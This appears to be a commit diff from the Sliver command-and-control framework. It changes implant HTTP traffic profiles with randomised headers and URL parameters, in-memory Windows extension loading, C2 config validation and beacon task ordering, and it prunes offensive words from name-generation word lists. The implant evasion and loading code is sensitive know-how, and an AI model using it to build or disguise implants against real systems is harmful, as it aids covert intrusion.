echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+1 -1
View File
@@ -64,6 +64,7 @@ require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
modernc.org/sqlite v1.14.3
)
@@ -107,7 +108,6 @@ require (
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+2 -2
View File
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+11 -7
View File
@@ -37,15 +37,15 @@ const (
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
}
// NewWindowsExtension - Load a new windows extension
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
@@ -55,14 +55,17 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
}
}
// GetID - Get the extension ID
func (w *WindowsExtension) GetID() string {
return w.id
}
// GetArch - Get the extension architecture
func (w *WindowsExtension) GetArch() string {
return w.arch
}
// Load - Load the extension into memory
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
@@ -86,6 +89,7 @@ func (w *WindowsExtension) Load() error {
return nil
}
// Call - Call an extension export
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
+4 -10
View File
@@ -602,20 +602,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
if err != nil {
registerResp.Response.Err = err.Error()
} else {
extension.Add(ext)
}
data, err = proto.Marshal(registerResp)
resp(data, err)
@@ -623,15 +620,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
+1 -1
View File
@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
}
}
// Start - Starts the TCP pivot connection handler
// Start - Starts the pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
@@ -62,11 +62,13 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
ProxyConfig string
ProxyUsername string
@@ -92,11 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
maxErrors = 10
}
return &HTTPOptions{
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -110,7 +114,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
var err error
if !opts.ForceHTTP {
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err == nil {
@@ -123,6 +127,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err != nil {
return nil, err
@@ -133,16 +139,17 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
// SliverHTTPClient - Helper struct to keep everything together
type SliverHTTPClient struct {
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollTimeout time.Duration
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Options *HTTPOptions
}
// SessionInit - Initialize the session
@@ -199,13 +206,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
type nameValueProbability struct {
Name string
Value string
Probability string
}
// HTTP C2 Profile headers
extraHeaders := []nameValueProbability{
// {{range $header := .HTTPC2ImplantConfig.Headers}}
{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
// {{end}}
}
for _, header := range extraHeaders {
probability, _ := strconv.Atoi(header.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
req.Header.Set(header.Name, header.Value)
}
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
queryParams.Set(param.Name, param.Value)
}
req.URL.RawQuery = queryParams.Encode()
return req
}
@@ -235,7 +283,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
select {
case <-ctx.Done():
done <- ctx.Err()
case <-time.After(s.pollTimeout):
case <-time.After(s.Options.PollTimeout):
// {{if .Config.Debug}}
log.Printf("[http] poll timeout error!")
// {{end}}
@@ -474,7 +522,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
for index, segment := range segments {
segments[index] = url.PathEscape(segment)
}
if s.PathPrefix != "" {
if s.PathPrefix != "" && s.PathPrefix != "/" {
segments = append([]string{s.PathPrefix}, segments...)
}
return strings.Join(segments, "/")
File diff suppressed because it is too large. Load diff
+5 -1
View File
@@ -215,6 +215,8 @@ message Mkdir {
message DownloadReq {
string Path = 1;
int64 Start = 2;
int64 Stop = 3;
commonpb.Request Request = 9;
}
@@ -223,7 +225,9 @@ message Download {
string Path = 1;
string Encoder = 2;
bool Exists = 3;
bytes Data = 4;
int64 Start = 4;
int64 Stop = 5;
bytes Data = 6;
commonpb.Response Response = 9;
}
+3 -49
View File
@@ -64,7 +64,6 @@ late
long
modern
old
old-fashioned
quick
rapid
short
@@ -83,7 +82,6 @@ cooing
deafening
faint
harsh
high-pitched
hissing
hushed
husky
@@ -237,7 +235,7 @@ friendly
funny
gentle
glorious
good
good
happy
healthy
helpful
@@ -463,7 +461,6 @@ broad
joint
formal
limited
conservative
lovely
usual
ltd
@@ -471,7 +468,6 @@ unable
rural
initial
substantial
christian
bright
average
leading
@@ -484,7 +480,6 @@ working
overall
female
afraid
democratic
growing
sufficient
scientific
@@ -508,7 +503,6 @@ dry
historical
thin
daily
southern
increasing
wild
alone
@@ -522,14 +516,10 @@ upper
apparent
tall
busy
bloody
prepared
russian
moral
careful
clean
attractive
japanese
vital
thick
alternative
@@ -565,13 +555,11 @@ fundamental
odd
crucial
inner
used
criminal
contemporary
sharp
sick
near
roman
massive
unique
secondary
@@ -621,7 +609,6 @@ keen
flat
silent
indian
video-taped
worried
pale
statutory
@@ -645,7 +632,6 @@ rapid
adequate
fixed
sweet
administrative
wooden
remarkable
comprehensive
@@ -675,8 +661,6 @@ advanced
extreme
classical
fit
favourite
socialist
widespread
confident
straight
@@ -699,7 +683,6 @@ satisfied
conscious
developing
strategic
holy
smooth
dominant
remote
@@ -731,8 +714,6 @@ fat
tight
monetary
round
psychological
violent
unemployed
inevitable
junior
@@ -762,7 +743,6 @@ steady
classic
equivalent
intellectual
victorian
level
ultimate
creative
@@ -816,11 +796,8 @@ liable
multiple
ruling
curious
arab
sole
jewish
managing
pregnant
latin
nearby
exact
@@ -833,7 +810,6 @@ electoral
urgent
presidential
controversial
oral
everyday
encouraging
organic
@@ -853,9 +829,7 @@ disappointed
frightened
full-time
gastric
capitalist
romantic
naked
reluctant
magnificent
convenient
@@ -886,7 +860,6 @@ aggressive
spare
painful
abstract
asian
associated
legislative
monthly
@@ -901,13 +874,11 @@ ridiculous
amazing
comparable
successive
working-class
realistic
back
decent
unnecessary
flying
fucking
random
influential
dull
@@ -941,8 +912,6 @@ delicate
mild
occupational
excessive
progressive
iraqi
exceptional
integrated
striking
@@ -952,7 +921,6 @@ harsh
combined
fierce
handsome
characteristic
chronic
compulsory
interim
@@ -979,7 +947,6 @@ kind
advisory
hostile
precious
gay
accessible
determined
excited
@@ -988,8 +955,6 @@ provincial
smart
endless
isolated
post-war
drunk
geographical
like
dynamic
@@ -1036,7 +1001,6 @@ polish
israeli
developed
profound
representative
enthusiastic
dreadful
rigid
@@ -1070,7 +1034,6 @@ bored
charming
minimal
mobile
turkish
orange
rear
passive
@@ -1113,7 +1076,6 @@ useless
semantic
embarrassed
inherent
philosophical
deliberate
awake
variable
@@ -1210,14 +1172,12 @@ cheerful
subjective
forward
surviving
exotic
purple
cautious
visiting
aggregate
ethical
protestant
teenage
large-scale
dying
disastrous
@@ -1275,19 +1235,16 @@ imaginative
governing
accepted
vocational
palestinian
mighty
puzzled
worldwide
handicapped
organisational
sunny
eldest
eventual
spontaneous
vivid
rude
nineteenth-century
faithful
ministerial
innovative
@@ -1316,8 +1273,7 @@ famous
fragile
helpful
helpless
important
impossible
important
innocent
inquisitive
modern
@@ -1337,7 +1293,7 @@ uninterested
wandering
wild
wrong
adorable
adorable
alert
average
beautiful
@@ -1417,8 +1373,6 @@ nasty
new
nice
nosy
nutty
nutritious
odd
orange
ordinary
-3
View File
@@ -18150,7 +18150,6 @@ BOYSENBERRIES
BOYSENBERRY
BOZO
BOZOS
BRA
BRABBLE
BRABBLED
BRABBLER
@@ -81668,7 +81667,6 @@ JETWAY
JETWAYS
JEU
JEUX
JEW
JEWED
JEWEL
JEWELED
@@ -81692,7 +81690,6 @@ JEWELWEEDS
JEWFISH
JEWFISHES
JEWING
JEWS
JEZAIL
JEZAILS
JEZEBEL
+1 -141
View File
@@ -17,7 +17,6 @@ account
accountant
achiever
acid
acknowledgment
acoustic
acoustics
acrylic
@@ -33,9 +32,7 @@ addiction
addition
address
adjustment
administration
adrenalin
adult
adrenalinz
adulthood
advance
advancement
@@ -406,9 +403,6 @@ bloom
bloomers
blossom
blouse
blow
blowgun
blowhole
blue
blueberry
boar
@@ -437,10 +431,7 @@ bookend
booklet
booster
boot
bootee
bootie
boots
booty
border
bore
bosom
@@ -464,8 +455,6 @@ box
boxer
boxspring
boy
boyfriend
bra
brace
bracelet
bracket
@@ -483,7 +472,6 @@ breadcrumb
break
breakfast
breakpoint
breast
breastplate
breath
breeze
@@ -492,9 +480,7 @@ brick
bricklaying
bridge
brief
briefs
brilliant
british
broad
broccoli
brochure
@@ -509,7 +495,6 @@ brood
brook
broom
brother
brother-in-law
brow
brown
brush
@@ -535,9 +520,6 @@ bull-fighter
bumper
bun
bunch
bungalow
bunghole
bunkhouse
burglar
burlesque
burn
@@ -586,7 +568,6 @@ campanile
can
canal
cancel
cancer
candelabra
candidate
candle
@@ -658,7 +639,6 @@ cauliflower
cause
caution
cave
c-clamp
cd
ceiling
celebration
@@ -703,7 +683,6 @@ change
channel
chaos
chap
chapel
chapter
character
chard
@@ -713,14 +692,11 @@ charlatan
charles
charm
chart
chastity
chasuble
chateau
chauffeur
chauvinist
check
checkroom
cheek
cheetah
chef
chemical
@@ -729,8 +705,6 @@ cheque
cherries
cherry
chess
chest
chick
chicken
chicory
chief
@@ -745,23 +719,18 @@ chin
chino
chip
chipmunk
chit-chat
chivalry
chive
chocolate
choice
choker
chop
chopstick
chord
chowder
chrome
chromolithograph
chronograph
chronometer
chub
chug
church
churn
cicada
cigarette
@@ -846,8 +815,6 @@ collection
college
collision
colloquia
colon
colonisation
colony
color
colt
@@ -857,8 +824,6 @@ comb
combat
combination
combine
comfort
comfortable
comic
comma
command
@@ -1017,7 +982,6 @@ credenza
credit
creditor
creek
creme brulee
crest
crew
crib
@@ -1036,8 +1000,6 @@ croissant
crook
crop
cross
cross-contamination
cross-stitch
crotch
croup
crow
@@ -1046,16 +1008,13 @@ crown
crude
crush
cry
crystallography
cub
cuckoo
cucumber
cuff-links
cultivar
cultivator
culture
culvert
cummerbund
cup
cupboard
cupcake
@@ -1085,7 +1044,6 @@ cymbals
cynic
cyst
cytoplasm
dad
daffodil
dagger
dahlia
@@ -1105,8 +1063,6 @@ dashboard
data
database
date
daughter
david
day
daybed
dead
@@ -1182,7 +1138,6 @@ diamond
diaphragm
diarist
dibble
dickey
dictaphone
diction
dictionary
@@ -1221,7 +1176,6 @@ discovery
discrepancy
discussion
disease
disembodiment
disengagement
disguise
disgust
@@ -1427,7 +1381,6 @@ essay
establishment
estate
estimate
estrogen
estuary
ethernet
ethics
@@ -1453,7 +1406,6 @@ excuse
executor
exercise
exhaust
ex-husband
exile
existence
exit
@@ -1507,11 +1459,6 @@ fanny
fanny-pack
farm
farmer
fascia
fat
father
father-in-law
fatigues
faucet
fault
fawn
@@ -1520,7 +1467,6 @@ fear
feast
feather
feature
fedelini
fedora
fee
feed
@@ -1528,8 +1474,6 @@ feedback
feel
feeling
feet
felony
female
fen
fence
fencing
@@ -1565,7 +1509,6 @@ finish
finisher
fir
fire
fireman
fireplace
firewall
fish
@@ -1589,7 +1532,6 @@ flavor
flax
fleck
fleece
flesh
flight
flintlock
flip-flops
@@ -1726,7 +1668,6 @@ geese
gelding
gem
gemsbok
gender
gene
general
genetics
@@ -1796,12 +1737,6 @@ grain
gram
grammar
grand
granddaughter
grandfather
grandmom
grandmother
grandson
granny
grape
grapefruit
graph
@@ -1813,9 +1748,6 @@ gratitude
gray
grease
great
great-grandfather
great-grandmother
greek
green
greenhouse
grenade
@@ -1845,11 +1777,7 @@ gum
gumshoes
gun
gutter
guy
gym
gymnast
gymnastics
gynaecology
gyro
habit
hacienda
@@ -1859,20 +1787,15 @@ hail
hair
haircut
half
half-brother
half-sister
halibut
hall
hallway
hamaki
hamburger
hammer
hammock
hamster
hand
handball
hand-holding
handicap
handle
handlebar
handmaiden
@@ -1924,11 +1847,8 @@ hedgehog
heel
height
heirloom
helen
helicopter
helium
hell
hellcat
hello
helmet
helo
@@ -2016,7 +1936,6 @@ husband
hut
hutch
hyacinth
hybridisation
hydrant
hydraulics
hydrofoil
@@ -2094,8 +2013,6 @@ inspector
instance
instruction
instrument
instrumentalist
instrumentation
insulation
insurance
insurgence
@@ -2135,17 +2052,13 @@ item
jackal
jacket
jaguar
jail
jailhouse
jam
james
jar
jasmine
jaw
jealousy
jeans
jeep
jeff
jelly
jellyfish
jet
@@ -2155,7 +2068,6 @@ jiffy
job
jockey
jodhpurs
joey
jogging
join
joint
@@ -2180,7 +2092,6 @@ jury
justice
jute
kale
kamikaze
kangaroo
karate
karen
@@ -2216,9 +2127,7 @@ kiss
kitchen
kite
kitten
kitty
kleenex
klomps
knee
kneejerk
knickers
@@ -2236,7 +2145,6 @@ laborer
labour
lace
lack
lacquerware
ladder
lady
ladybug
@@ -2508,7 +2416,6 @@ metro
metronome
mezzanine
mice
microlending
microwave
mid-course
middle
@@ -2562,19 +2469,14 @@ mobile
moccasins
mocha
mode
model
modem
mole
mom
moment
monastery
monasticism
money
monger
monitor
monkey
monocle
monotheism
monsoon
monster
month
@@ -2592,8 +2494,6 @@ mosquito
most
motel
moth
mother
mother-in-law
motion
motor
motorboat
@@ -2625,7 +2525,6 @@ music-making
mustache
mustard
mutt
mycoplasma
n
nail
name
@@ -2659,9 +2558,6 @@ netball
netbook
netsuke
network
neurobiologist
neuropathologist
neuropsychiatry
news
newspaper
newsprint
@@ -2835,9 +2731,7 @@ panda
panic
pannier
panpipe
pansy
panther
panties
pantologist
pantology
pantry
@@ -2913,7 +2807,6 @@ pearl
pedal
peen
peer
peer-to-peer
pegboard
pelican
pelt
@@ -3065,7 +2958,6 @@ poof
pool
pop
popcorn
poppy
popsicle
population
populist
@@ -3084,7 +2976,6 @@ post
postage
postbox
poster
pot
potato
potential
potty
@@ -3112,7 +3003,6 @@ president
press
pressroom
pressure
pressurisation
price
pride
priest
@@ -3250,7 +3140,6 @@ rambler
ramie
ranch
random
randomisation
range
rank
raspberry
@@ -3303,10 +3192,8 @@ regret
regular
regulation
reindeer
reinscription
reject
relation
relationship
relative
relaxation
release
@@ -3345,7 +3232,6 @@ respect
respite
respond
response
responsibility
rest
restaurant
result
@@ -3377,7 +3263,6 @@ rifle
right
rim
ring
ringworm
rip
ripple
rise
@@ -3481,13 +3366,11 @@ scallion
scanner
scarecrow
scarf
scarification
scene
scenery
scent
schedule
scheme
schizophrenic
schnitzel
school
schoolhouse
@@ -3546,7 +3429,6 @@ sense
sensitive
sentence
sepal
septicaemia
series
servant
serve
@@ -3648,9 +3530,6 @@ sing
singer
single
sink
sir
sister
sister-in-law
sitar
site
situation
@@ -3747,8 +3626,6 @@ source
sourwood
sousaphone
south
south america
south korea
sow
soy
soybean
@@ -3846,15 +3723,6 @@ steeple
stem
stencil
step
step-aunt
step-brother
stepdaughter
step-daughter
step-father
step-grandfather
step-grandmother
stepmother
step-mother
stepping-stone
steps
step-sister
@@ -4165,7 +4033,6 @@ total
tote
touch
tough
tough-guy
tour
tourist
towel
@@ -4266,7 +4133,6 @@ two
type
typewriter
typhoon
tyvek
ukulele
umbrella
unblinking
@@ -4314,16 +4180,12 @@ vase
vast
vault
vaulting
veal
vegetable
vegetarianism
vegetation
vehicle
veil
vein
veldt
vellum
velodrome
velvet
vengeance
venom
@@ -4347,8 +4209,6 @@ village
vineyard
vinyl
viola
violence
violet
violin
virginal
virtue
+7 -1
View File
@@ -404,7 +404,13 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
if s.c2Config.ServerConfig.RandomVersionHeaders {
resp.Header().Set("Server", s.getServerHeader())
}
for _, header := range s.c2Config.ServerConfig.ExtraHeaders {
for _, header := range s.c2Config.ServerConfig.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < roll {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
next.ServeHTTP(resp, req)
+1 -1
View File
@@ -44,7 +44,7 @@ const (
var (
// ErrInvalidDialect - An invalid dialect was specified
ErrInvalidDialect = errors.New("Invalid SQL Dialect")
ErrInvalidDialect = errors.New("invalid SQL Dialect")
databaseConfigLog = log.NamedLogger("config", "database")
)
+57 -18
View File
@@ -35,7 +35,7 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
chromeBaseVer = 92
)
// HTTPC2Config - Parent config file struct for implant/server
@@ -103,16 +103,17 @@ func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return config
}
type HTTPHeader struct {
Name string `json:"name"`
Value string `json:"value"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
ExtraHeaders []HTTPHeader `json:"headers"`
Cookies []string `json:"cookies"`
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
}
// HTTPC2ImplantConfig - Implant configuration options
@@ -125,9 +126,10 @@ type HTTPC2ServerConfig struct {
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
UserAgent string `json:"user_agent"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
@@ -215,8 +217,8 @@ var (
Cookies: []string{
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
ExtraHeaders: []HTTPHeader{
{"Cache-Control", "no-store, no-cache, must-revalidate"},
Headers: []NameValueProbability{
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
},
},
ImplantConfig: &HTTPC2ImplantConfig{
@@ -288,7 +290,7 @@ func GetHTTPC2Config() *HTTPC2Config {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return &defaultHTTPC2Config
}
err = CheckHTTPC2Config(config)
err = checkHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return &defaultHTTPC2Config
@@ -296,6 +298,35 @@ func GetHTTPC2Config() *HTTPC2Config {
return config
}
// CheckHTTPC2ConfigErrors - Get the current HTTP C2 config
func CheckHTTPC2ConfigErrors() error {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return err
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return err
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return err
}
err = checkHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return err
}
return nil
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
@@ -317,12 +348,13 @@ var (
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`)
)
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func CheckHTTPC2Config(config *HTTPC2Config) error {
// checkHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func checkHTTPC2Config(config *HTTPC2Config) error {
err := checkServerConfig(config.ServerConfig)
if err != nil {
return err
@@ -448,5 +480,12 @@ func checkImplantConfig(config *HTTPC2ImplantConfig) error {
allExtensions[ext] = true
}
// Query Parameter Names
for _, queryParam := range config.URLParameters {
if len(queryParam.Name) < 3 {
return ErrQueryParamNameLen
}
}
return nil
}
+3 -3
View File
@@ -51,7 +51,7 @@ func TestDefaultConfig(t *testing.T) {
if err != nil {
t.Fatal(err)
}
err = CheckHTTPC2Config(config)
err = checkHTTPC2Config(config)
if err != nil {
t.Fatal(err)
}
@@ -64,7 +64,7 @@ func TestPollConfig(t *testing.T) {
origPollFileExt := config.ImplantConfig.PollFileExt
for _, ext := range []string{"", ".", "..."} {
config.ImplantConfig.PollFileExt = ext
err := CheckHTTPC2Config(&config)
err := checkHTTPC2Config(&config)
if err != ErrMissingPollFileExt {
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
}
@@ -82,7 +82,7 @@ func TestPollConfig(t *testing.T) {
origPollFiles := config.ImplantConfig.PollFiles
for _, empty := range emptyPollFiles {
config.ImplantConfig.PollFiles = empty
err := CheckHTTPC2Config(&config)
err := checkHTTPC2Config(&config)
if err != ErrTooFewPollFiles {
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
}
+5 -1
View File
@@ -31,6 +31,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
clienttransport "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/transport"
"google.golang.org/grpc"
)
@@ -49,11 +50,14 @@ func Start() {
}
conn, err := grpc.DialContext(context.Background(), "bufnet", options...)
if err != nil {
fmt.Printf(Warn+"Failed to dial bufnet: %s", err)
fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err)
return
}
defer conn.Close()
localRPC := rpcpb.NewSliverRPCClient(conn)
if err := configs.CheckHTTPC2ConfigErrors(); err != nil {
fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err)
}
clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
}
+1 -1
View File
@@ -99,7 +99,7 @@ func (j *jobs) Get(jobID int) *Job {
return nil
}
val, ok := j.active.Load(jobID)
if !ok {
if ok {
return val.(*Job)
}
return nil
+2 -2
View File
@@ -293,7 +293,7 @@ func ListBeacons() ([]*models.Beacon, error) {
return beacons, err
}
// PendingBeaconTasksByBeaconID - Select a Beacon by ID
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
tasks := []*models.BeaconTask{}
err := Session().Where(
@@ -301,7 +301,7 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
BeaconID: uuid.FromStringOrNil(beaconID),
State: models.PENDING,
},
).Find(&tasks).Error
).Order("created_at").Find(&tasks).Error
return tasks, err
}
+2
View File
@@ -123,6 +123,8 @@ func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *slive
}
beaconHandlerLog.Infof("Beacon %s requested pending task(s)", beaconTasks.ID)
// Pending tasks are ordered by their creation time.
pendingTasks, err := db.PendingBeaconTasksByBeaconID(beaconTasks.ID)
if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) {
beaconHandlerLog.Errorf("Beacon task database error: %s", err)
+4 -4
View File
